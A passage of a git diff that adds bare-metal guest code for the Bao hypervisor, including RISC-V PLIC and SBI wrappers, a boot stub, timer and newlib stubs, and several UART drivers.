plic_global->enbl[cntxt][reg_ind] |= mask; + } else { + plic_global->enbl[cntxt][reg_ind] &= ~mask; + } + +} + +void plic_set_prio(int int_id, int prio){ + plic_global->prio[int_id] = prio; +} + +int plic_get_prio(int int_id){ + return plic_global->prio[int_id]; +} + +void plic_handle(){ + + int cntxt = plic_hartidpriv_to_context(get_cpuid(), PRIV_S); + printf("cntxt %d \r\n",cntxt); + uint32_t id = plic_hart[cntxt].claim; + printf("claim \r\n"); + if(id > 0) { + irq_handle(id); + plic_hart[cntxt].complete = id; + } +} diff --git a/bao-baremetal-guest/src/arch/riscv/sbi.c b/bao-baremetal-guest/src/arch/riscv/sbi.c new file mode 100644 index 0000000..220ad73 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/sbi.c @@ -0,0 +1,185 @@ +#include + +#define SBI_EXTID_SETTIMER (0x0) +#define SBI_EXTID_PUTCHAR (0x1) +#define SBI_EXTID_GETCHAR (0x2) +#define SBI_EXTID_CLEARIPI (0x3) +#define SBI_EXTID_SENDIPI (0x4) +#define SBI_EXTID_REMFENCEI (0x5) +#define SBI_EXTID_REMSFENCEVMA (0x6) +#define SBI_EXTID_REMSFENCEASID (0x7) +#define SBI_EXTID_SHUTDOWN (0x8) + +#define SBI_EXTID_BASE (0x10) +#define SBI_GET_SBI_SPEC_VERSION_FID (0) +#define SBI_GET_SBI_IMPL_ID_FID (1) +#define SBI_GET_SBI_IMPL_VERSION_FID (2) +#define SBI_PROBE_EXTENSION_FID (3) +#define SBI_GET_MVENDORID_FID (4) +#define SBI_GET_MARCHID_FID (5) +#define SBI_GET_MIMPID_FID (6) + +#define SBI_EXTID_TIME (0x54494D45) +#define SBI_SET_TIMER_FID (0x0) + +#define SBI_EXTID_IPI (0x735049) +#define SBI_SEND_IPI_FID (0x0) + +#define SBI_EXTID_RFNC (0x52464E43) +#define SBI_REMOTE_FENCE_I_FID (0) +#define SBI_REMOTE_SFENCE_VMA_FID (1) +#define SBI_REMOTE_SFENCE_VMA_ASID_FID (2) +#define SBI_REMOTE_HFENCE_GVMA_FID (3) +#define SBI_REMOTE_HFENCE_GVMA_VMID_FID (4) +#define SBI_REMOTE_HFENCE_VVMA_FID (5) +#define SBI_REMOTE_HFENCE_VVMA_ASID_FID (6) + +#define SBI_EXTID_HSM (0x48534D) +#define SBI_HART_START_FID (0) +#define SBI_HART_STOP_FID (1) +#define SBI_HART_STATUS_FID (2) + +static inline struct sbiret sbi_ecall(long eid, long fid, long a0, long a1, + long a2, long a3, long a4, long a5) +{ + long register _a0 asm("a0") = a0; + long register _a1 asm("a1") = a1; + long register _a2 asm("a2") = a2; + long register _a3 asm("a3") = a3; + long register _a4 asm("a4") = a4; + long register _a5 asm("a5") = a5; + long register _a6 asm("a6") = fid; + long register _a7 asm("a7") = eid; + + asm volatile("ecall" + : "+r"(_a0), "+r"(_a1) + : "r"(_a2), "r"(_a3), "r"(_a4), "r"(_a5), "r"(_a6), "r"(_a7) + : "memory"); + + struct sbiret ret = {.error = _a0, .value = _a1}; + + return ret; +} + +void sbi_console_putchar(int ch) +{ + (void)sbi_ecall(0x1, 0, ch, 0, 0, 0, 0, 0); +} + +struct sbiret sbi_get_spec_version(void) +{ + return sbi_ecall(SBI_EXTID_BASE, SBI_GET_SBI_SPEC_VERSION_FID, 0, 0, 0, 0, + 0, 0); +} +struct sbiret sbi_get_impl_id(void) +{ + return sbi_ecall(SBI_EXTID_BASE, SBI_GET_SBI_IMPL_ID_FID, 0, 0, 0, 0, 0, 0); +} +struct sbiret sbi_get_impl_version(void) +{ + return sbi_ecall(SBI_EXTID_BASE, SBI_GET_SBI_IMPL_VERSION_FID, 0, 0, 0, 0, + 0, 0); +} +struct sbiret sbi_probe_extension(long extension_id) +{ + return sbi_ecall(SBI_EXTID_BASE, SBI_PROBE_EXTENSION_FID, extension_id, 0, + 0, 0, 0, 0); +} +struct sbiret sbi_get_mvendorid(void) +{ + return sbi_ecall(SBI_EXTID_BASE, SBI_GET_MVENDORID_FID, 0, 0, 0, 0, 0, 0); +} +struct sbiret sbi_get_marchid(void) +{ + return sbi_ecall(SBI_EXTID_BASE, SBI_GET_MARCHID_FID, 0, 0, 0, 0, 0, 0); +} +struct sbiret sbi_get_mimpid(void) +{ + return sbi_ecall(SBI_EXTID_BASE, SBI_GET_MIMPID_FID, 0, 0, 0, 0, 0, 0); +} + +struct sbiret sbi_send_ipi(const unsigned long hart_mask, + unsigned long hart_mask_base) +{ + return sbi_ecall(SBI_EXTID_IPI, SBI_SEND_IPI_FID, hart_mask, hart_mask_base, + 0, 0, 0, 0); +} + +struct sbiret sbi_set_timer(uint64_t stime_value) +{ + return sbi_ecall(SBI_EXTID_TIME, SBI_SET_TIMER_FID, stime_value, 0, 0, 0, 0, 0); +} + +struct sbiret sbi_remote_fence_i(const unsigned long hart_mask, + unsigned long hart_mask_base) +{ + return sbi_ecall(SBI_EXTID_RFNC, SBI_REMOTE_FENCE_I_FID, hart_mask, + hart_mask_base, 0, 0, 0, 0); +} + +struct sbiret sbi_remote_sfence_vma(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size) +{ + return sbi_ecall(SBI_EXTID_RFNC, SBI_REMOTE_SFENCE_VMA_FID, hart_mask, + hart_mask_base, start_addr, size, 0, 0); +} + +struct sbiret sbi_remote_hfence_gvma(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size) +{ + return sbi_ecall(SBI_EXTID_RFNC, SBI_REMOTE_HFENCE_GVMA_FID, hart_mask, + hart_mask_base, start_addr, size, 0, 0); +} + +struct sbiret sbi_remote_hfence_gvma_vmid(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size, + unsigned long vmid) +{ + return sbi_ecall(SBI_EXTID_RFNC, SBI_REMOTE_HFENCE_GVMA_VMID_FID, hart_mask, + hart_mask_base, start_addr, size, vmid, 0); +} + +struct sbiret sbi_remote_hfence_vvma_asid(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size, + unsigned long asid) +{ + return sbi_ecall(SBI_EXTID_RFNC, SBI_REMOTE_HFENCE_VVMA_ASID_FID, hart_mask, + hart_mask_base, start_addr, size, asid, 0); +} + +struct sbiret sbi_remote_hfence_vvma(const unsigned long hart_mask, + unsigned long hart_mask_base, + unsigned long start_addr, + unsigned long size) +{ + return sbi_ecall(SBI_EXTID_RFNC, SBI_REMOTE_HFENCE_VVMA_FID, hart_mask, + hart_mask_base, start_addr, size, 0, 0); +} + +struct sbiret sbi_hart_start(unsigned long hartid, unsigned long start_addr, + unsigned long priv) +{ + return sbi_ecall(SBI_EXTID_HSM, SBI_HART_START_FID, hartid, + start_addr, priv, 0, 0, 0); +} + +struct sbiret sbi_hart_stop() +{ + return sbi_ecall(SBI_EXTID_HSM, SBI_HART_STOP_FID, 0, + 0, 0, 0, 0, 0); +} + +struct sbiret sbi_hart_status(unsigned long hartid) +{ + return sbi_ecall(SBI_EXTID_HSM, SBI_HART_STATUS_FID, hartid, + 0, 0, 0, 0, 0); +} + diff --git a/bao-baremetal-guest/src/arch/riscv/sources.mk b/bao-baremetal-guest/src/arch/riscv/sources.mk new file mode 100644 index 0000000..2843b2b --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/sources.mk @@ -0,0 +1,3 @@ +arch_c_srcs:= init.c plic.c sbi.c exceptions.c irq.c timer.c +arch_s_srcs:= start.S + diff --git a/bao-baremetal-guest/src/arch/riscv/start.S b/bao-baremetal-guest/src/arch/riscv/start.S new file mode 100644 index 0000000..4d736f1 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/start.S @@ -0,0 +1,82 @@ +#define STACK_SIZE 0x4000 + +.section .start, "ax" +.global _start +_start: + /** + * Expecting hart id in a0. + * Save hart id in thread pointer. We assume the compiler does not use tp. + */ + li a0, 0x0 + mv tp, a0 +.option push +.option norelax + /* Initialize global_pointer */ + la gp, __global_pointer$ +.option pop + +.pushsection .data +.align 3 +.global primary_hart +primary_hart: .word 0x0 +primary_hart_valid: .word 0x0 +.popsection + + + la t0, primary_hart_valid + li t1, 1 +1: + lr.w t2, (t0) + bnez t2, skip + sc.w t2, t1, (t0) + bnez t2, 1b + la t0, primary_hart + sw a0, 0(t0) + + /* Clear bss */ + la t0, __bss_start + la t1, __bss_end + bgeu t0, t1, 2f +1: + sw zero, (t0) + addi t0, t0, 4 + bltu t0, t1, 1b +2: + +.pushsection .data +.align 3 +primary_hart_ready: .word 0x0 +.popsection + + la t0, primary_hart_ready + li t1, 1 + sw t1, 0(t0) + +skip: + + la t0, exception_handler + csrw stvec, t0 + + la t0, primary_hart_ready +1: + lw t1, 0(t0) + beqz t1, 1b + + /* Initialize stack pointer*/ + la t0, _stack_base + li t1, STACK_SIZE + add t0, t0, t1 +#ifndef SINGLE_CORE + mul t1, t1, tp + add t0, t0, t1 +#endif + mv sp, t0 + + //TODO: other c runtime init (ctors, etc...) + + /* Jump to main */ + call _init + j . + +.global _fini +_fini: ret diff --git a/bao-baremetal-guest/src/arch/riscv/timer.c b/bao-baremetal-guest/src/arch/riscv/timer.c new file mode 100644 index 0000000..a749529 --- /dev/null +++ b/bao-baremetal-guest/src/arch/riscv/timer.c @@ -0,0 +1,17 @@ +#include + +void timer_enable() +{ +} + +uint64_t timer_get() +{ + uint64_t time; + asm volatile("rdtime %0" : "=r"(time)); + return time; +} + +void timer_set(uint64_t n) +{ + sbi_set_timer(timer_get() + n); +} diff --git a/bao-baremetal-guest/src/core/inc/bit.h b/bao-baremetal-guest/src/core/inc/bit.h new file mode 100644 index 0000000..50d1215 --- /dev/null +++ b/bao-baremetal-guest/src/core/inc/bit.h @@ -0,0 +1,53 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __BIT_H__ +#define __BIT_H__ + +#include + +#define BIT_MASK(OFF, LEN) (((1UL << (OFF + LEN)) - 1) & ~((1UL << (OFF)) - 1)) + +#ifndef __ASSEMBLER__ + +static inline uint64_t bit_get(uint64_t word, uint64_t off) +{ + return word & (1UL << off); +} + +static inline uint64_t bit_set(uint64_t word, uint64_t off) +{ + return word |= (1UL << off); +} + +static inline uint64_t bit_clear(uint64_t word, uint64_t off) +{ + return word &= ~(1UL << off); +} + +static inline uint64_t bit_extract(uint64_t word, uint64_t off, uint64_t len) +{ + return (word >> off) & BIT_MASK(0, len); +} + +static inline uint64_t bit_insert(uint64_t word, uint64_t val, uint64_t off, + uint64_t len) +{ + return (~BIT_MASK(off, len) & word) | ((BIT_MASK(0, len) & val) << off); +} + +#endif /* |__ASSEMBLER__ */ + +#endif /* __BIT_H__ */ diff --git a/bao-baremetal-guest/src/core/inc/irq.h b/bao-baremetal-guest/src/core/inc/irq.h new file mode 100644 index 0000000..6632170 --- /dev/null +++ b/bao-baremetal-guest/src/core/inc/irq.h @@ -0,0 +1,15 @@ +#ifndef IRQ_H +#define IRQ_H + +#include +#include + +typedef void (*irq_handler_t)(unsigned id); + +void irq_handle(unsigned id); +void irq_set_handler(unsigned id, irq_handler_t handler); +void irq_enable(unsigned id); +void irq_set_prio(unsigned id, unsigned prio); +void irq_send_ipi(uint64_t target_cpu_mask); + +#endif // IRQ_H diff --git a/bao-baremetal-guest/src/core/inc/timer.h b/bao-baremetal-guest/src/core/inc/timer.h new file mode 100644 index 0000000..a50c861 --- /dev/null +++ b/bao-baremetal-guest/src/core/inc/timer.h @@ -0,0 +1,18 @@ +#ifndef TIMER_H_ +#define TIMER_H_ + +#include + +#define TIME_US(us) ((TIMER_FREQ)*(us)/(1000000ull)) +#define TIME_MS(ms) (TIME_US((ms)*1000)) +#define TIME_S(s) (TIME_MS((s)*1000)) + +uint64_t timer_get(); +void timer_set(uint64_t n); + +static inline void timer_wait(uint64_t n) { + uint64_t start = timer_get(); + while(timer_get() < (start+n)); +} + +#endif diff --git a/bao-baremetal-guest/src/core/inc/uart.h b/bao-baremetal-guest/src/core/inc/uart.h new file mode 100644 index 0000000..57e8aef --- /dev/null +++ b/bao-baremetal-guest/src/core/inc/uart.h @@ -0,0 +1,26 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __UART_H__ +#define __UART_H__ + +void uart_init(void); +void uart_putc(char c); +char uart_getchar(void); +void uart_enable_rxirq(); +void uart_clear_rxirq(); + +#endif diff --git a/bao-baremetal-guest/src/core/irq.c b/bao-baremetal-guest/src/core/irq.c new file mode 100644 index 0000000..df53235 --- /dev/null +++ b/bao-baremetal-guest/src/core/irq.c @@ -0,0 +1,14 @@ +#include +#include + +irq_handler_t irq_handlers[IRQ_NUM]; + +void irq_set_handler(unsigned id, irq_handler_t handler){ + if(id < IRQ_NUM) + irq_handlers[id] = handler; +} + +void irq_handle(unsigned id){ + if(id < IRQ_NUM && irq_handlers[id] != NULL) + irq_handlers[id](id); +} diff --git a/bao-baremetal-guest/src/core/retarget.c b/bao-baremetal-guest/src/core/retarget.c new file mode 100644 index 0000000..31facd2 --- /dev/null +++ b/bao-baremetal-guest/src/core/retarget.c @@ -0,0 +1,114 @@ + + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +int _read(int file, char *ptr, int len) +{ + int i; + for (i = 0; i < len; ++i) + { + ptr[i] = uart_getchar(); + } + + return len; +} + +int _write(int file, char *ptr, int len) +{ + int i; + for (i = 0; i < len; ++i) + { + if (ptr[i] == '\n') + { + uart_putc('\r'); + } + uart_putc(ptr[i]); + } + + return len; +} + +int _lseek(int file, int ptr, int dir) +{ + errno = ESPIPE; + return -1; +} + +int _close(int file) +{ + return -1; +} + +int _fstat(int file, struct stat *st) +{ + st->st_mode = S_IFCHR; + return 0; +} + +int _isatty(int fd) +{ + errno = ENOTTY; + return 0; +} + +void* _sbrk(int increment) +{ + extern char _heap_base; + static char* heap_end = &_heap_base; + char* current_heap_end = heap_end; + heap_end += increment; + return current_heap_end; +} + +void _exit(int return_value) +{ + fence_ord(); + while (1) { + wfi(); + } +} + +int _getpid(void) +{ + return 1; +} + +int _kill(int pid, int sig) +{ + errno = EINVAL; + return -1; +} + +extern void arch_init(); +extern int main(); + +static bool init_done = false; +static spinlock_t init_lock = SPINLOCK_INITVAL; + +__attribute__((weak)) +void _init(){ + + spin_lock(&init_lock); + if(!init_done) { + init_done = true; + uart_init(); + } + spin_unlock(&init_lock); + + arch_init(); + + int ret = main(); + _exit(ret); +} + diff --git a/bao-baremetal-guest/src/core/sources.mk b/bao-baremetal-guest/src/core/sources.mk new file mode 100644 index 0000000..56b36a6 --- /dev/null +++ b/bao-baremetal-guest/src/core/sources.mk @@ -0,0 +1 @@ +core_c_srcs:=irq.c retarget.c diff --git a/bao-baremetal-guest/src/drivers/8250_uart/8250_uart.c b/bao-baremetal-guest/src/drivers/8250_uart/8250_uart.c new file mode 100644 index 0000000..deaaa82 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/8250_uart/8250_uart.c @@ -0,0 +1,129 @@ +/* + * SPDX-License-Identifier: BSD-2-Clause + * + * Copyright (c) 2019 Western Digital Corporation or its affiliates. + * + * Authors: + * Anup Patel + */ + +// #include +// #include +#include <8250_uart.h> + +/* clang-format off */ + +#define UART_RBR_OFFSET 0 /* In: Recieve Buffer Register */ +#define UART_THR_OFFSET 0 /* Out: Transmitter Holding Register */ +#define UART_DLL_OFFSET 0 /* Out: Divisor Latch Low */ +#define UART_IER_OFFSET 1 /* I/O: Interrupt Enable Register */ +#define UART_DLM_OFFSET 1 /* Out: Divisor Latch High */ +#define UART_FCR_OFFSET 2 /* Out: FIFO Control Register */ +#define UART_IIR_OFFSET 2 /* I/O: Interrupt Identification Register */ +#define UART_LCR_OFFSET 3 /* Out: Line Control Register */ +#define UART_MCR_OFFSET 4 /* Out: Modem Control Register */ +#define UART_LSR_OFFSET 5 /* In: Line Status Register */ +#define UART_MSR_OFFSET 6 /* In: Modem Status Register */ +#define UART_SCR_OFFSET 7 /* I/O: Scratch Register */ +#define UART_MDR1_OFFSET 8 /* I/O: Mode Register */ + +#define UART_LSR_FIFOE 0x80 /* Fifo error */ +#define UART_LSR_TEMT 0x40 /* Transmitter empty */ +#define UART_LSR_THRE 0x20 /* Transmit-hold-register empty */ +#define UART_LSR_BI 0x10 /* Break interrupt indicator */ +#define UART_LSR_FE 0x08 /* Frame error indicator */ +#define UART_LSR_PE 0x04 /* Parity error indicator */ +#define UART_LSR_OE 0x02 /* Overrun error indicator */ +#define UART_LSR_DR 0x01 /* Receiver data ready */ +#define UART_LSR_BRK_ERROR_BITS 0x1E /* BI, FE, PE, OE bits */ + +/* clang-format on */ + +static volatile void *uart8250_base; +static u32 uart8250_in_freq; +static u32 uart8250_baudrate; +static u32 uart8250_reg_width; +static u32 uart8250_reg_shift; + +static volatile u32 get_reg(u32 num) +{ + u32 offset = num << uart8250_reg_shift; + + if (uart8250_reg_width == 1) + return readb(uart8250_base + offset); + else if (uart8250_reg_width == 2) + return readw(uart8250_base + offset); + else + return readl(uart8250_base + offset); +} + +static void set_reg(u32 num, u32 val) +{ + u32 offset = num << uart8250_reg_shift; + + if (uart8250_reg_width == 1) + writeb(val, uart8250_base + offset); + else if (uart8250_reg_width == 2) + writew(val, uart8250_base + offset); + else + writel(val, uart8250_base + offset); +} + +void uart8250_putc(char ch) +{ + while ((get_reg(UART_LSR_OFFSET) & UART_LSR_THRE) == 0); + + set_reg(UART_THR_OFFSET, ch); +} + +int uart8250_getc(void) +{ + if (get_reg(UART_LSR_OFFSET) & UART_LSR_DR) + return get_reg(UART_RBR_OFFSET); + return -1; +} + +void uart8250_interrupt_handler(){ + volatile char c = get_reg(UART_RBR_OFFSET); +} + +void uart8250_enable_rx_int(){ + set_reg(UART_IER_OFFSET, 1); +} + +int uart8250_init(unsigned long base, u32 in_freq, u32 baudrate, u32 reg_shift, + u32 reg_width) +{ + u16 bdiv; + + uart8250_base = (volatile void *)base; + uart8250_reg_shift = reg_shift; + uart8250_reg_width = reg_width; + uart8250_in_freq = in_freq; + uart8250_baudrate = baudrate; + + bdiv = uart8250_in_freq / (16 * uart8250_baudrate); + + /* Disable all interrupts */ + set_reg(UART_IER_OFFSET, 0x00); + /* Enable DLAB */ + set_reg(UART_LCR_OFFSET, 0x80); + // /* Set divisor low byte */ + set_reg(UART_DLL_OFFSET, bdiv & 0xff); + // /* Set divisor high byte */ + set_reg(UART_DLM_OFFSET, (bdiv >> 8) & 0xff); + /* 8 bits, no parity, one stop bit */ + set_reg(UART_LCR_OFFSET, 0x03); + /* Enable FIFO */ + set_reg(UART_FCR_OFFSET, 0x01); + /* No modem control DTR RTS */ + set_reg(UART_MCR_OFFSET, 0x00); + /* Clear line status */ + get_reg(UART_LSR_OFFSET); + /* Read receive buffer */ + get_reg(UART_RBR_OFFSET); + /* Set scratchpad */ + set_reg(UART_SCR_OFFSET, 0x00); + + return 0; +} \ No newline at end of file diff --git a/bao-baremetal-guest/src/drivers/8250_uart/inc/8250_uart.h b/bao-baremetal-guest/src/drivers/8250_uart/inc/8250_uart.h new file mode 100644 index 0000000..9b33ee9 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/8250_uart/inc/8250_uart.h @@ -0,0 +1,69 @@ +/* + * SPDX-License-Identifier: BSD-2-Clause + * + * Copyright (c) 2019 Western Digital Corporation or its affiliates. + * + * Authors: + * Anup Patel + */ + +#ifndef __SERIAL_UART8250_H__ +#define __SERIAL_UART8250_H__ + +//#include +#include +typedef uint32_t u32; +typedef uint16_t u16; +typedef uint8_t u8; + +static inline void writeb(u8 val, volatile void *addr) +{ + asm volatile("sb %0, 0(%1)" : : "r"(val), "r"(addr)); +} + +static inline void writew(u16 val, volatile void *addr) +{ + asm volatile("sh %0, 0(%1)" : : "r"(val), "r"(addr)); +} + +static inline void writel(u32 val, volatile void *addr) +{ + asm volatile("sw %0, 0(%1)" : : "r"(val), "r"(addr)); +} + +static inline u8 readb(const volatile void *addr) +{ + u8 val; + + asm volatile("lb %0, 0(%1)" : "=r"(val) : "r"(addr)); + return val; +} + +static inline u16 readw(const volatile void *addr) +{ + u16 val; + + asm volatile("lh %0, 0(%1)" : "=r"(val) : "r"(addr)); + return val; +} + +static inline u32 readl(const volatile void *addr) +{ + u32 val; + + asm volatile("lw %0, 0(%1)" : "=r"(val) : "r"(addr)); + return val; +} + +void uart8250_enable_rx_int(); + +void uart8250_putc(char ch); + +int uart8250_getc(void); + +int uart8250_init(unsigned long base, u32 in_freq, u32 baudrate, u32 reg_shift, + u32 reg_width); + +void uart8250_interrupt_handler(); + +#endif diff --git a/bao-baremetal-guest/src/drivers/8250_uart/sources.mk b/bao-baremetal-guest/src/drivers/8250_uart/sources.mk new file mode 100644 index 0000000..4403609 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/8250_uart/sources.mk @@ -0,0 +1,2 @@ +driver_c_srcs+=8250_uart/8250_uart.c +driver_s_srcs+= \ No newline at end of file diff --git a/bao-baremetal-guest/src/drivers/nxp_uart/inc/nxp_uart.h b/bao-baremetal-guest/src/drivers/nxp_uart/inc/nxp_uart.h new file mode 100644 index 0000000..df79ff4 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/nxp_uart/inc/nxp_uart.h @@ -0,0 +1,52 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef UART_NXP_H +#define UART_NXP_H + +#include +#include +#include + +struct lpuart { + uint32_t verid; + uint32_t param; + uint32_t global; + uint32_t pincfg; + uint32_t baud; + uint32_t stat; + uint32_t ctrl; + uint32_t data; + uint32_t match; + uint32_t modir; + uint32_t fifo; + uint32_t water; +}; + +#define LPUART_GLOBAL_RST_BIT (1U << 1) +#define LPUART_BAUD_80MHZ_115200 ((4 << 24) | (1 << 17) | 138) +#define LPUART_CTRL_TE_BIT (1U << 19) +#define LPUART_CTRL_RE_BIT (1U << 18) +#define LPUART_CTRL_RIE_BIT (1U << 21) +#define LPUART_STAT_TDRE_BIT (1U << 23) +#define LPUART_STAT_OR_BIT (1U << 19) + +void nxp_uart_init(volatile struct lpuart *uart); +void nxp_uart_putc(volatile struct lpuart *uart, char c); +char nxp_uart_getchar(volatile struct lpuart *uart); +void nxp_uart_enable_rxirq(volatile struct lpuart *uart); +void nxp_uart_clear_rxirq(volatile struct lpuart *uart); + +#endif /* __UART_NXP_H */ diff --git a/bao-baremetal-guest/src/drivers/nxp_uart/nxp_uart.c b/bao-baremetal-guest/src/drivers/nxp_uart/nxp_uart.c new file mode 100644 index 0000000..00a63b6 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/nxp_uart/nxp_uart.c @@ -0,0 +1,46 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#include + +void nxp_uart_init(volatile struct lpuart *uart){ + + //reset + uart->global &= ~LPUART_GLOBAL_RST_BIT; + + // assumes 80 MHz source clock + uart->baud = LPUART_BAUD_80MHZ_115200; + + //enable TX and RX + uart->ctrl = LPUART_CTRL_TE_BIT | LPUART_CTRL_RE_BIT; +} + +void nxp_uart_putc(volatile struct lpuart *uart, char c){ + while(!(uart->stat & LPUART_STAT_TDRE_BIT)); + uart->data = c; +} + +char nxp_uart_getchar(volatile struct lpuart *uart){ + return uart->data; +} + +void nxp_uart_enable_rxirq(volatile struct lpuart *uart){ + uart->ctrl |= LPUART_CTRL_RIE_BIT; +} + +void nxp_uart_clear_rxirq(volatile struct lpuart *uart){ + (void) nxp_uart_getchar(uart); + uart->stat |= LPUART_STAT_OR_BIT; +} \ No newline at end of file diff --git a/bao-baremetal-guest/src/drivers/nxp_uart/sources.mk b/bao-baremetal-guest/src/drivers/nxp_uart/sources.mk new file mode 100644 index 0000000..e449c34 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/nxp_uart/sources.mk @@ -0,0 +1,2 @@ +driver_c_srcs+=nxp_uart/nxp_uart.c +driver_s_srcs+= \ No newline at end of file diff --git a/bao-baremetal-guest/src/drivers/pl011_uart/inc/pl011_uart.h b/bao-baremetal-guest/src/drivers/pl011_uart/inc/pl011_uart.h new file mode 100644 index 0000000..0aa9fe5 --- /dev/null +++ b/bao-baremetal-guest/src/drivers/pl011_uart/inc/pl011_uart.h @@ -0,0 +1,221 @@ +/** + * Bao, a Lightweight Static Partitioning Hypervisor + * + * Copyright (c) Bao Project (www.bao-project.org), 2019- + * + * Authors: + * Jose Martins + * Sandro Pinto + * David Cerdeira + * + * Bao is free software; you can redistribute it and/or modify it under the + * terms of the GNU General Public License version 2 as published by the Free + * Software Foundation, with a special exception exempting guest code from such + * license. See the COPYING file in the top-level directory for details. + * + */ + +#ifndef __PL011_UART_H_ +#define __PL011_UART_H_ + +#include + +/* UART Base Address (PL011) */ + +#define UART_BASE_0 0xFDF02000 +#define UART_BASE_1 0xFDF00000 +#define UART_BASE_2 0xFDF03000 +#define UART_BASE_4 0xFDF01000 +#define UART_BASE_5 0xFDF05000 +#define UART_BASE_6 0xFFF32000 + +/* UART Interrupts */ + +#define UART_0_INTERRUPT 106 +#define UART_1_INTERRUPT 107 +#define UART_2_INTERRUPT 108 +#define UART_4_INTERRUPT 109 +#define UART_5_INTERRUPT 110 +#define UART_6_INTERRUPT 111 + +#define NUM_UART 6 + +#define UART_CLK 19200000 +#define UART_BAUD_RATE 115200 + +/* UART Data Register */ + +#define UART_DATA_DATA 0xFFFFFF00 +#define UART_DATA_FE (1 << 8 +#define UART_DATA_PE (1 << 9) +#define UART_DATA_BE (1 << 10) +#define UART_DATA_OE (1 << 11) + +/* UART Receive Status Register/Error Clear Register */ + +#define UART_RSR_ECR_FE (1 << 0) +#define UART_RSR_ECR_PE (1 << 1) +#define UART_RSR_ECR_BE (1 << 2) +#define UART_RSR_ECR_OE (1 << 3) +#define UART_RSR_ECR_CLEAR 0xFFFFFF00 + +/* UART Flag Register */ + +#define UART_FR_CTS (1 << 0) +#define UART_FR_DSR (1 << 1) +#define UART_FR_DCD (1 << 2) +#define UART_FR_BUSY (1 << 3) +#define UART_FR_RXFE (1 << 4) +#define UART_FR_TXFF (1 << 5) +#define UART_FR_RXFF (1 << 6) +#define UART_FR_TXFE (1 << 7) +#define UART_FR_RI (1 << 8) + +/* UART Integer Baud Rate Register */ + +#define UART_IBRD_DIVINT 0x0000FFFF + +/* UART Fractional Baud Rate Register */ + +#define UART_FBRD_DIVFRAC 0x0000003F + +/* UART Line Control Register */ + +#define UART_LCR_BRK (1 << 0) +#define UART_LCR_PEN (1 << 1) +#define UART_LCR_EPS (1 << 2) +#define UART_LCR_STP2 (1 << 3) +#define UART_LCR_FEN (1 << 4) +#define UART_LCR_WLEN_8 (0b11 << 5) +#define UART_LCR_WLEN_7 (0b10 << 5) +#define UART_LCR_WLEN_6 (0b01 << 5) +#define UART_LCR_WLEN_5 (0b00 << 5) +#define UART_LCR_SPS (1 << 7) + +/* UART Control Register */ + +#define UART_CR_UARTEN (1 << 0) +#define UART_CR_SIREN (1 << 1) +#define UART_CR_SIRLP (1 << 2) +#define UART_CR_LBE (1 << 7) +#define UART_CR_TXE (1 << 8) +#define UART_CR_RXE (1 << 9) +#define UART_CR_DTR (1 << 10) +#define UART_CR_RTS (1 << 11) +#define UART_CR_OUT1 (1 << 12) +#define UART_CR_OUT2 (1 << 13) +#define UART_CR_RTSE (1 << 14) +#define UART_CR_CTSE (1 << 15) + +/* UART Interrupt FIFO Level Select Register */ + +#define UART_IFLS_TXIFLSEL_1_8 (0b000 << 0) +#define UART_IFLS_TXIFLSEL_1_4 (0b001 << 0) +#define UART_IFLS_TXIFLSEL_1_2 (0b010 << 0) +#define UART_IFLS_TXIFLSEL_3_4 (0b011 << 0) +#define UART_IFLS_TXIFLSEL_7_8 (0b100 << 0) +#define UART_IFLS_RXIFLSEL_1_8 (0b000 << 3) +#define UART_IFLS_RXIFLSEL_1_4 (0b001 << 3) +#define UART_IFLS_RXIFLSEL_1_2 (0b010 << 3) +#define UART_IFLS_RXIFLSEL_3_4 (0b011 << 3) +#define UART_IFLS_RXIFLSEL_7_8 (0b100 << 3) + +/* UART Interrupt Mask Set/Clear Register */ + +#define UART_IMSC_RIMIM (1 << 0) +#define UART_IMSC_CTSMIM (1 << 1) +#define UART_IMSC_DCDMIM (1 << 2) +#define UART_IMSC_DSRMI (1 << 3) +#define UART_IMSC_RXIM (1 << 4) +#define UART_IMSC_TXIM (1 << 5) +#define UART_IMSC_RTIM (1 << 6) +#define UART_IMSC_FEIM (1 << 7) +#define UART_IMSC_PEIM (1 << 8) +#define UART_IMSC_BEIM (1 << 9) +#define UART_IMSC_OEIM (1 << 10) + +/* UART Raw Interrupt Status Register */ + +#define 